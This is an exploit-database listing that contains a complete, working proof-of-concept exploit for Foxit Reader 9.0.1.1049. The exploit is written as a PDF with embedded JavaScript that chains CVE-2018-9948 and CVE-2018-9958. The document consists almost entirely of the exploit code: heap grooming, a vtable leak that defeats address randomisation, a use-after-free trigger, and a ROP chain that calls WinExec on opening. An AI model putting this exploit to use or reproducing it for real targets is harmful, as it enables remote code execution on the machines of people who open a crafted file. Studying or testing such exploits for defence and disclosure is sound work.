Lucene search

K
packetstormMr_mePACKETSTORM:148295
HistoryJun 25, 2018 - 12:00 a.m.

Foxit Reader 9.0.1.1049 Remote Code Execution

2018-06-2500:00:00
mr_me
packetstormsecurity.com
43

0.815 High

EPSS

Percentile

98.4%

`%PDF   
1 0 obj  
<</Pages 1 0 R /OpenAction 2 0 R>>   
2 0 obj  
<</S /JavaScript /JS (  
  
/*  
Foxit Reader Remote Code Execution Exploit  
==========================================  
  
Written by: Steven Seeley (mr_me) of Source Incite  
Date: 22/06/2018  
Technical details: https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html  
Download: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English  
Target version: Foxit Reader v9.0.1.1049 (sha1: e3bf26617594014f4af2ef2b72b4a86060ec229f)  
Tested on:  
1. Windows 7 Ultimate x86 build 6.1.7601 sp1  
2. Windows 10 Pro x86 v1803 build 10.0.17134  
Vulnerabilities leveraged:  
1. CVE-2018-9948  
2. CVE-2018-9958  
*/  
  
var heap_ptr = 0;  
var foxit_base = 0;  
var pwn_array = [];  
  
function prepare_heap(size){  
/*  
This function prepares the heap state between allocations  
and frees to get a predictable memory address back.   
*/  
var arr = new Array(size);  
for(var i = 0; i < size; i++){  
arr[i] = this.addAnnot({type: "Text"});;  
if (typeof arr[i] == "object"){  
arr[i].destroy();  
}  
}  
}  
  
function gc() {  
/*  
This is a simple garbage collector, written by the notorious @saelo  
Greetz, mi amigo.  
*/  
const maxMallocBytes = 128 * 0x100000;  
for (var i = 0; i < 3; i++) {  
var x = new ArrayBuffer(maxMallocBytes);  
}  
}  
  
function alloc_at_leak(){  
/*  
This is the function that allocates at the leaked address  
*/  
for (var i = 0; i < 0x64; i++){  
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));  
}  
}  
  
function control_memory(){  
/*  
This is the function that fills the memory address that we leaked  
*/  
for (var i = 0; i < 0x64; i++){  
for (var j = 0; j < pwn_array[i].length; j++){  
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4  
}  
}  
}  
  
function leak_vtable(){  
/*  
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability  
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948  
Found by: bit from meepwn team  
*/  
  
// alloc  
var a = this.addAnnot({type: "Text"});  
  
// free  
a.destroy();  
gc();  
  
// kinda defeat lfh randomization in win 10  
prepare_heap(0x400);  
  
// reclaim  
var test = new ArrayBuffer(0x60);  
var stolen = new Int32Array(test);  
  
// leak the vtable  
var leaked = stolen[0] & 0xffff0000;  
  
// a hard coded offset to FoxitReader.exe base v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)  
foxit_base = leaked - 0x01f50000;  
}  
  
function leak_heap_chunk(){  
/*  
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability  
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948  
Found by: bit from meepwn team  
*/  
  
// alloc  
var a = this.addAnnot({type: "Text"});  
  
// free  
a.destroy();  
  
// kinda defeat lfh randomization in win 10  
prepare_heap(0x400);  
  
// reclaim  
var test = new ArrayBuffer(0x60);  
var stolen = new Int32Array(test);  
  
// alloc at the freed location  
alloc_at_leak();  
  
// leak a heap chunk of size 0x40  
heap_ptr = stolen[1];  
}  
  
function reclaim(){  
/*  
This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability.  
All gadgets are from FoxitReader.exe v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)  
*/  
  
var arr = new Array(0x10);  
for (var i = 0; i < arr.length; i++) {  
arr[i] = new ArrayBuffer(0x60);  
var rop = new Int32Array(arr[i]);  
  
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak  
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret  
rop[0x02] = 0x72727272; // junk  
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret  
rop[0x04] = 0xffffffff; // ret of WinExec  
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret  
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec  
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret  
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret  
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret  
rop[0x0a] = foxit_base + 0x0041c6ca; // ret  
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret  
rop[0x0c] = 0x636c6163; // calc  
rop[0x0d] = 0x00000000; // adios, amigo  
  
for (var j = 0x0e; j < rop.length; j++) {  
rop[j] = 0x71727374;  
}  
}  
}  
  
function trigger_uaf(){  
/*  
Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability  
ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958  
Found by: Steven Seeley (mr_me) of Source Incite  
*/  
  
var that = this;  
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});  
var arr = [1];  
Object.defineProperties(arr,{  
"0":{   
get: function () {  
  
// free  
that.getAnnot(0, "uaf").destroy();  
  
// reclaim freed memory  
reclaim();  
return 1;   
}  
}  
});  
  
// re-use  
a.point = arr;  
}  
  
function main(){  
  
// 1. Leak a heap chunk of size 0x40  
leak_heap_chunk();  
  
// 2. Leak vtable and calculate the base of Foxit Reader  
leak_vtable();  
  
// 3. Then fill the memory region from step 1 with a stack pivot  
control_memory();  
  
// 4. Trigger the uaf, reclaim the memory, pivot to rop and win  
trigger_uaf();  
}  
  
if (app.platform == "WIN"){  
if (app.isFoxit == "Foxit Reader"){  
if (app.appFoxitVersion == "9.0.1.1049"){  
main();  
}  
}  
}  
  
)>> trailer <</Root 1 0 R>>  
  
  
`